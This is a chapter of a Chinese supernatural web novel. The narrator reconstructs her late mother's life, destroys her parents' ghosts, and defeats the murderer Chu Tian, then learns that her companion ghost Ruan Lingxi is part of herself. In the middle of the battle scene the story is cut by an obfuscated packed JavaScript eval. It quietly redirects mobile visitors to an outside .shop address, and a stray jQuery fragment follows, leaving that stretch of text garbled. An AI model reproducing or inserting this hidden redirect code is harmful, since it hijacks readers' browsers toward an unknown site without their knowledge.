第五章姓名
我的母亲名叫辛夷，出生于1969年，1987年高中毕业后先是去河边当扛沙包的小工，扛一袋能赚几分钱，后来托我姥爷的关系进了发电厂，正式有了一份能坐班的工作。我的父亲名叫霍青山，比我母亲大一岁，是机械厂技术工人，两人由亲戚介绍相亲认识，一年后结婚，然后迟迟没有生下孩子。
在乡下，生不出孩子的女人会被骂作“不下蛋的母鸡”，我母亲就被这样骂过，这是她在我几岁时告诉我的。在生下我之前，她因为习惯性流产失去过七个孩子，直到三十岁终于保住了我，一个不受期待的女孩出生了，只有她一个人欣喜异常。
我在出租屋里找到了母亲留下的一部分遗物，这是在我十六岁离开莲乡时带走的，多年来跟我换过不少住所，但没有一件被我遗失。我翻阅相册、邮票簿、信件、证书、病历，试图从中窥探到任何一丝有关于她我所不知道的信息。阮灵犀陪在我身边帮我整理这些物品，将它们细心的按时间顺序归类。
父亲在三十岁后染上了喝酒的恶习，时常喝得大醉，醉后会说些郁郁不得志的话，偶尔也会打我们，母亲对此逆来顺受，哦，我找到了他们曾经写过的一封离婚协议书。这封离婚协议书原本是一张白纸，我在家中发现了这本本子，发现白纸上有上一张纸写过字留下的凹痕，便用铅笔轻轻涂抹出字迹，发现上一张纸是离婚协议书。这是母亲爱我的证明——在离婚协议里，她要求带我走。
他们最终没有选择离婚。在相爱的过程里，人们总是不去预设别离。在双职工家庭里，我的父亲母亲白天都要上班，中午我们三人一起回家吃饭，下午各自出门上班上学，晚上又回家聚到一起。我的母亲在我认识她的时候已经是一位母亲，但我忘了，她以前也是一个孩童，一个少女，一个工作的青年女性。她的童年是怎么度过的？她的少女时期经历了什么？她和她的同事领导又是怎样的关系？我知之甚少。
根据她对我提过的只言片语，我勉强能拼凑出她短暂的一生。她就这样像我一样不受期待地出生在农村一个重男轻女家庭，成为家里年纪最大的孩子，照顾弟弟妹妹，一边读书一边打零工赚钱，为每学期的学费而犯愁，少女时期连月事带也买不起，只能偷拿家里铺床的棉絮来用，喜欢吃走货郎卖的生姜糖，高中时期暗恋过一个男生但从未说出过口，和我父亲结婚时因我父亲给的八百块彩礼而感激欣喜，结婚时去了汉城最华丽的名叫“皇宫”的影楼拍摄了婚纱写真，期待很快就能生出一个健康的孩子，直到生离死别那一天还没回过味来，儿孙满堂承欢膝下的春秋大梦是如何成为了泡沫幻影。
如果当年她和我的父亲离了婚，也没有选择带走我，而是独自一人离开莲乡去城市谋生，是否会有更美好的新生活？我再也不会知道了。愿意在权衡利弊之后仍作出一个风险决定，这就是爱吗？原来爱就是不理会理智的东西。
通过母亲留下的一本手抄电话簿，我联系上了她的好朋友——爱英阿姨。爱英阿姨是母亲从小到大的同班同学兼最好的朋友，在母亲去世后，她断断续续来看过我几次，给我带过一些衣服和零食，也给过钱，但我没有收钱。我没有主动和她保持联系，后来我离开莲乡，再也没有见过她。
当我给爱英阿姨打通电话后，她立刻表示要动身前来汉城见我，原来她一直定居在汉城周边的一座小城市，坐大巴车来见我只需要一个小时。
我去车站接她，打车回到我的住处。她一进屋就仔细观察屋内的一切，说了句：“委屈你了。”委屈？我并不这样觉得。我现在租的房子比过去好很多，以前很穷的时候我住过十几人的员工宿舍，住过青年旅馆，住过网吧，住过麦当劳。那些日子已经离我很远了，当时我并没有觉得委屈，现在也不会。
她问起这些年我是如何过的，我简单描述了一番我的经历，省略了关于阮灵犀的部分，然后我拿出母亲的照片，说想听她讲讲我母亲从前的事。
“从前……已经是几十年前的事了。”她娓娓道来。
从爱英阿姨的描述中，我认识了一个更加鲜活的母亲。她在六十年代出生，八十年代成年，九十年代——千禧年前夕生下我，那时经济欣欣向荣，那时候互联网刚刚兴起，那时候人人都开始用上手机，那时候每个人都以为他们未来的生活会越过越好。
我想起了更多的细节。在我几岁的时候，家里还没有富裕到每天都可以吃肉，我最爱吃的一道菜就是辣椒炒肉。不知道为什么，这道菜父亲炒来永远比母亲炒的好吃，所以在家里是由父亲来炒这道菜。母亲的拿手好菜是汽水蛋，也就是把肉末和鸡蛋液混在一起放进电饭煲，和米饭一起蒸成凝固的鸡蛋羹，这就是我小时候最爱吃的两道菜了，直到现在，那股菜香味仿佛还萦绕在我的鼻端。
爱英阿姨把我搂进怀中，像妈妈那样轻轻抚摸我的后背。“霍心，如果你愿意的话，就来跟我一起生活吧。”她轻声说道。那一瞬间我突然感觉很心安，但我不能答应她，因为我必须解决的事还没有结束。我们保存了彼此的电话和微信，我向她保证以后一定会经常和她联系。在她眼中，我似乎仍旧是那个活泼爱笑爱说话的小女孩儿，而不是网络上的、别人眼中的那种形象。
因为担心楚天随时会来找我，我催促爱英阿姨尽快离开我的住处返回她自己家中。因为爱英阿姨的到来，这间小小的出租屋仿佛多出了许多生气，我的目光移向餐桌桌面——桌上还放着她带来的两袋水果。我去厨房拿来一把水果刀，坐在桌前开始削梨子皮。从小到大我都不会连续不断地削一整条皮，削着削着有点累了，我正想放下刀先吃上一口，坐在我身边的爸爸从我手中接过梨和刀，说了句：“我来吧。”
阮灵犀不知道去哪里了，死去十年的父亲却突然出现在我身侧，这令我感觉毛骨悚然，胳膊上泛起一片鸡皮疙瘩。我做好心理准备慢慢转过头去，看见满脸满身是血的父亲正在专心削梨，他一口气接连不断的削下一整条皮，然后将沾着血的梨子递给我。他看向我的眼神很平静，双眼却不断往外渗血，我用微微颤抖的双手接过梨子咬了一口，味道很清甜，爱英阿姨永远都会记得我从小经常咳嗽，所以比较爱吃梨。
爸……爸。我磕磕绊绊地喊了一句，一只手伸进裤兜里，捏紧了随身携带的符纸。
他点点头，语气自然地说起话来：“你爱英阿姨来看你啊？你妈还没下班呢，下次让她来我们家吃晚饭吧。又给你带了砀山梨，快把梨吃了。”
我没说话，吃完了梨把果核丢进垃圾桶里，起身去厨房洗了个手，回到客厅重新在他身边坐下。我得弄清他为什么会出现，于是我试探着问他：爸，你还记得今天是什么日子吗？
“今天是我跟你妈结婚三十七周年纪念日，你妈再过半小时就下班了，我让她买了你爱吃的菜。”他说。
结婚周年纪念日？我连忙起身，从沙发上找出我父母的结婚证看了看登记日期——果然，确实是今天，但前提是他们都活到了今天。半个小时后会发生什么事？母亲的鬼魂也会回到我这里吗？以他们俩的死法，想必怨气极大，若是两只鬼同时发作想要攻击我，我如何能招架得了？阮灵犀也不知去了哪里，眼下情况万分危急，也许我应该先解决父亲，但我怎么忍心对他下手？若我出手不慎让他魂飞魄散，岂非连转世投胎的机会都没有了！
短短几分钟内我想了很多，最后我下定决心，起身走到他面前。爸，看你身上沾了这么多红油漆，你先去洗洗，妈看到会说你的。我说。
他底下头看了看自己的衣服，起身走向卫生间，先是嘎吱一声关门的声音，随后是花洒淋水的水声。我长吁一口气，阮灵犀出现在我面前，她的神情很忧伤，她没有说话，只是静静看着我。刚才你去哪里了？我问她。她摇摇头，抬起手，将刚才用来削梨的那把水果刀递到我面前。
阮灵犀对我说：霍心，你必须杀了你父亲。
我明白了一切。这是楚天的阴谋，他复活了我父亲，然后驱使我父亲来杀害我，因为他知道我绝不会对我的父亲出手。半小时后，我的母亲也可能会出现在我面前，当他们两人一起联手，我绝无还手之力。楚天杀我甚至不会弄脏他自己的手，如此可恨，我却下不了决心。
我们一家人马上就要团聚了，你不为我感到开心吗我对阮灵犀笑着说。
卫生间里的水声戛然而止，阮灵犀眼中闪过一丝惊恐的神色，随后她消失了，父亲的声音在我身后响起来：“这房子怎么变得不一样了？”
我定定神，转过身对着一身干净整洁毫无血迹的父亲说：爸，你又忘了，这是我在武汉买的房子，上个月才把你们接过来住，首付还是你们出的。
他似乎明白了，随后在沙发上坐下，打开电视机，准备收看晚间新闻。不知为何，他和阮灵犀似乎不能同时出现在我面前，这让我稍微安下心来——做出这个选择，我实在不知道如何面对阮灵犀。
没多久，门外响起了开门声。我抬头望去，看见死去多年的母亲以三十多岁的模样出现在我面前，她脸上带着轻快的微笑，手里提着一兜菜和一瓶果粒橙。我走上前喊了句妈妈，她看向我，指挥我去厨房帮她择菜洗菜，似乎对我的外表和这个家一点也没有起疑心。
最后，我们三个人终于坐到了同一张餐桌上。桌上摆着爸爸炒的辣椒炒肉，妈妈炒的嫩南瓜丝，以及一碗专门蒸给我吃的汽水蛋，还有一瓶果粒橙。我们三人开始动筷鸡饭，爸爸妈妈说起单位工作的事，我突然吃到带咸味的米饭，回过神来才发现自己已经哭了。
逼一个人去做一件事是不一定会成功的，我更宁愿相信我的父母想要生下我不是迫于世俗的压力，而是在他们人生最美好的时代，二三十岁的青壮年年纪，他们真正因为活在这个世界上感觉到快乐，因为爱，才生下了我。我们三个人一起吃过那么多顿饭，说过那么多话，平淡的幸福其实一直藏在饭菜和话语里。我原以为我是应该恨他们的，现在才发现其实我爱他们，一饮一啄，莫非前定。
也许吃完这顿饭之后，爸爸又要喝酒发脾气打我和妈妈了，也许他们还会伤害我，我决不允许这种事再次发生，我也不会允许他们的灵魂得不到安息，永远徘徊于世间。我从口袋里取出两张符纸飞速贴在他们的手上将他们定在原地，抬手召来桃木剑，双手握紧剑柄对着父亲的心口刺入。
我强迫自己不要闭眼，面对接下来可能出现的任何状况。他的脸上再次渗出了血，神色惊恐，仿佛他生前的最后一个表情。我的手在发抖，在我后悔收手之前，他在我面前消失。
接着我转头看向母亲，她的五官正不断往外渗血，四肢也开始扭曲错位。她望着我说：“心心，妈妈爱你。”
我流着泪再次举起桃木剑刺向她的心口，看着她的躯体在地面散落一地，风一吹就化作一股黑雾消失得无影无踪。
我早该知道，纵使他们死得那般委屈和不甘心，他们也不会变成厉鬼来伤害自己的亲生女儿。当啷，一枚玫瑰花朵形状的金耳钉掉落在餐桌上，是母亲结婚时买的金饰。我拿起金耳钉，一段记忆涌入我脑海。
那天是一个普通而晴朗的下午，妈妈提前下班回到家，爸爸和我还没有回家，一个陌生男人敲开了家门，说自己是流浪汉，想讨一点吃的。这个男人穿着打扮得体，看上去只有二十多岁，妈妈让他进了屋，给他做了一顿饭，他吃饱之后和妈妈聊天，得知她有丈夫女儿，一家人生活简单幸福，随后他就用厨房的菜刀杀了她，等到我回家时，我亲眼目睹了厨房里的一切，在后来很多个夜晚的梦里，我都会梦到这血腥的一幕，这个杀人犯就是当时正在潜逃中的楚天。
你做得对，霍心。阮灵犀坐在餐桌对面对我说。
我重新端起碗筷，夹起一筷子辣椒炒肉，伴着米饭咀嚼吃下，再舀一勺汽水肉，同样伴着米饭吃下。我知道这就是他们留给我的最后的东西了，我感到前所未有的平静，从前如影随形般的恐惧在此刻完全消失了，我又一次振作起来。我绝不会放过楚天。
这一天晚上我没有做噩梦。
第二天一早，有一男一女两个警察上门找我。他们向我出示了警方在网上发布的一则公告，公告里声明警方已经调查了关于我的所有网络传言，并不存在“虐猫”或“驭鬼”等事实，一切都是谣言和AI技术合成的影像。不用看评论区我也知道网民不会完全相信，但他们竟然愿意主动为我做这件事。
女警察说：“霍小姐，在追捕楚天这件事上，我们希望再次与你合作。”
我接受了他们的邀请再次来到警局，这一次我毫无保留地对他们交代了所有我知道的事，包括阮灵犀的事。在评估过警局的安全性之后，我让阮灵犀现身，她面色平静地站在我身边，任谁也看不出来她是一只红衣厉鬼。根据警方制定的计划，我和阮灵犀会成为收服楚天的主力，警方安排的人力和火力为我打辅助配合，我答应了这个计划。
我和阮灵犀一起走出警局，我抬头看了看天空，烈日炎炎，现在已经是八月中旬。我掏出乾坤罗盘追踪楚天所在的方位，打了一辆车沿着罗盘指针所指方向寻去，他果然又在那家咖啡馆优哉游哉地喝着咖啡。咖啡店里有七八个顾客，店员在前台制作饮品，一切看起来都没有异常，我走到门口，按下火警警报按键，刺耳的警报声顿时响彻整间店铺，等人们反应过来之后纷纷向外跑去。清空咖啡店之后我走到楚天面前，还没等我开口说话，楚天周身一阵浓郁黑气如烟雾般爆炸散开，我闭上眼后退一步，再睁开眼时看见他身形陡然变大数倍，头顶刺穿天花板，凌空而立俯视着我。
他说：“可笑，可悲，你到现在都不知道我的力量从何而来！”
在他的狞笑声中，我顿悟了——这个世界的鬼是从人类的恐惧中诞生的，所以楚天的力量来源于恐惧，来源于人们对未被抓获的连环杀人犯的恐惧，来源于我对他的恐惧，我如何能在恐惧他的情况下战胜他？我首先要战胜自己的恐惧！
我的手在颤抖，我的心在剧烈跳动，但我逼自己不要害怕，要向前冲，要拿稳手中的剑。阮灵犀先我一步冲向楚天，她的灵力凝聚成一道红色的光芒划过天空，没入楚天周身黑雾之中，随即被吞没，只剩下火星般的红点一闪一闪，我明白只靠她的力量无法战胜楚天，但我也惊喜地发现她的灵力比从前更强了！我抓住这个时机举剑刺向楚天的心口，他侧身闪过，从他这一次闪躲中我更加明白了——现在的他没有必胜的把握！
特警队伍已经将咖啡店四周团团围住，我向后撤退让出空隙，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725162|208825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
枪声炮声此起彼伏响起，但一阵烟雾过后楚天完好无损出现在我面前，周身黑雾只是淡却了一些。他抬起手，地上一名特警手中的枪被他凌空夺走，他手中握着的枪口指向我，千钧一发之际我只来得及掏出黄符贴在自己胸口，硬生生接下这一枚子弹，肋骨仿佛被震断了，我吐出一口鲜血，阮灵犀迅速靠近我挡在我身前。
楚天突然停下攻击说道：“你母亲没有做错任何事，你也没有，我也没有，为何我们的命运却如此不同？”
我抬手擦去嘴角的血回答他：因为我们的选择不同，我们选择向善，你却选择向恶。我相信我给出的这个答案他自己也明白，他不会需要我的同情怜悯，我也根本不会给他！我颤颤巍巍站起身，再次举剑冲向楚天。
“烦不烦！我想要杀的人也根本不是你！”楚天大吼一声，抬手再次扣动扳机。我屏息凝神看向枪口，我的目光捕捉到了子弹射出的轨迹，心念一动身形随之闪开，成功避开了这一枪。
“心心。”母亲的声音突然在我耳边响起。
我一晃神，抬头就看见巨大的母亲出现在我面前，只是这一晃神就让幻化成母亲外表的楚天抓住机会，一枚子弹同时贯穿了我和我身前的阮灵犀。
我捂着胸口伤口从空中坠落到地上，感觉自己的生命和灵力随着鲜血而急剧流逝。阮灵犀躺在我身边，伸出一只手来拉住我的手握紧。她已经无法开口说话，只是用她仅存的灵力施展了一个我从前闲暇时教她的空间法术，她将我们拽入一片纯净的小空间之中。
在这个空间里，除了我们两人空无一物。我知道这个空间只是屏蔽了外界的一切事物，同时屏蔽了我们的五感，但我们的肉身仍躺在地上不断流血。我急切地问她：你想要做什么？你要我怎么做？
阮灵犀从怀中掏出一张照片递给我。
我拿起照片，发现这是一张我从未见过的照片，大约是她帮我在家清理母亲的遗物找出来的。照片上是年轻的母亲在花丛中抱着一个裹着襁褓的婴儿，从背景的房屋建筑我能认出是在是母亲上班的单位，那里的一大片荒地原本开满了野花，等我几岁的时候已经被员工们开垦出来种菜，放学之后我会在去值班室找妈妈的路上拔一颗红萝卜，生吃的味道很清甜，有一点辣。
阮灵犀伸手过来将照片翻到背面，我发现背面写着一行字：1999年6月6日。这是我的生日，但如果妈妈抱着的孩子是我，那孩子的生日就不可能是今天。
阮灵犀说：霍心，你有没有想过你妈妈习惯性流产七次为什么还能生下你？
我磕磕巴巴的说：因为她后来治好了……
阮灵犀不说话，只是静静看着我，而我知道这句话说服不了我自己的心。我想起小学的时候体检查过血型，奇怪的是按照生物课教的知识来看，父亲和母亲的血型是无法生出我这个血型的孩子的。更加可能发生的事是母亲根本无法生出孩子，所以他们抱养了一个亲戚的、或是与他们毫无血缘关系的孩子，那个孩子就是我，我成为他们的孩子的那一天就是1999年6月6日。
我捏紧照片几欲流泪，突然感觉腹中一股剧痛。我知道大约是被隔离在空间之外的楚天对我的身体做了什么，但阮灵犀似乎还有话要说。
阮灵犀说：霍心，你还记得你姥姥叫什么名字吗？
姥姥……在我印象里，我认识她的时候她已经是一位沉默寡言的老人，喜欢坐在小马扎上听电视里的戏曲，喜欢侍弄家门口的一小片菜地。我曾经在她家里偷偷翻箱倒柜玩寻宝游戏，我记得我在某本证件上看到过她的名字，似乎是叫阮秀芝或者是阮秀梅。阮，这么特别的姓氏，我以前为什么没想起来呢？
我想起来了。当我还在上幼儿园的时候，妈妈有一次对我说：“你姥姥姓阮，阮是一种弦乐器的名字，弹出来的声音很好听。我本来想让你跟你姥姥姓，名字我也想好了，就叫阮灵犀，可惜你爸爸不同意，说这个名字就不像我们亲生的了。”
所以，我差一点就是“阮灵犀”。身无彩凤双飞翼，心有灵犀一点通。如果我是阮灵犀，那阮灵犀又是谁？答案似乎就在唇边呼之欲出。
正在此时，阮灵犀维持的空间消散了。一片刺目白光闪过，我睁开眼，看到自己腹部被一根木桩钉死在地上，身下一大片鲜血蔓延。原本躺在我身边的阮灵犀不见了，我体内有两股灵力正在逐渐交融，我可以“看见”我体内的两股灵力一股是白色的一股是红色的，他们最终在我的腹部融为一体，灵力外溢顶出了木桩，修复了我的伤口，止住了血。
阮灵犀就是我。她是一部分我，好的那一部分，幻想中的那一部分，对生活的美好愿景投射成实体的那一部分，真实的那一部分。她永远都会陪着我，鼓励我，保护我，她有时候不会出现，但她不会彻底消失，有她在的时候，我不怕死，也不怕活下去，我不再对任何事感到恐惧，我要保护她，正如我要保护我自己。
我将体内所有的灵力都灌注进桃木剑之中，到这时我甚至不用亲身上前，我只需要在在心中动念，桃木剑便遵循我的心凌空刺向楚天，无论楚天如何躲闪或攻击都不能伤到剑身以及剑气一丝一毫，剑尖以破竹之势刺入他的心口，贯穿他的心脏，洁净的灵力将他全部的邪恶力量净化得一干二净，他的身躯缩小成普通人模样，坠落到地上，发出沉闷的撞击声。
我走上前低头看着他，特警们也紧随其后将我们围住。我很想知道在他临终之际他有什么话要说，但他只是淡淡看了我一眼，扭过头轻哼一声，闭上眼断了气。
阮灵犀的灵力从我身体里溢出，她重新出现在我面前，我双腿一软跪在地上，她温柔地抱住我，我在她怀中昏睡过去。
后来发生的事，都是之前上门来找我的那名女警察转告我的——在楚天死后，厉鬼大量消失，局势重新恢复平稳，警方对外发布了破获连环杀人案的公告，并掩盖了关于诡异事件的真相，声称这是一场由中毒而引发的集体幻觉，总之普通人又恢复了普通的生活。
我在医院里躺了两天，出院后被带到警局做了一份笔录，最后他们问起我打算如何处理阮灵犀这名红衣厉鬼的问题，我表达了希望警方对此不加干涉的意愿，但警方不愿意妥协。
“世界上是没有鬼的。”他们这样说道，并给了我一周时间解决阮灵犀。
我不可能杀死或超度阮灵犀，因为那等于一部分的我消失。我带阮灵犀回到我的出租屋，回忆姜晟笔记中所记载的法术，我又想起了那个将概念凝聚成实体的法术。
我起坛作法，试图以法术为阮灵犀造一具肉身。只要她不再是厉鬼之身而是人身，她就可以合理的存在于世界上。我倾尽了我所有的灵力来实施这个法术，我能感觉到在打败楚天之后我的灵力比从前更强了，但我倾尽全力最终也只将阮灵犀的身体变成了半人半鬼，宛如姜晟。
灵力的消散使我感到晕厥，使我格外想要睡觉。等我睡一觉起来再继续研究吧，我还有一整周的时间……抱着这样的想法，我蜷缩在阮灵犀怀中合上双眼。
好好睡一觉吧，霍心，明天会是全新的一天。阮灵犀的声音空灵而缥缈，她唱起一首我小时候听姥姥唱过的摇篮曲，我越想听清楚歌词越是脑袋昏沉，最终意识陷入一片黑色沉静的海洋。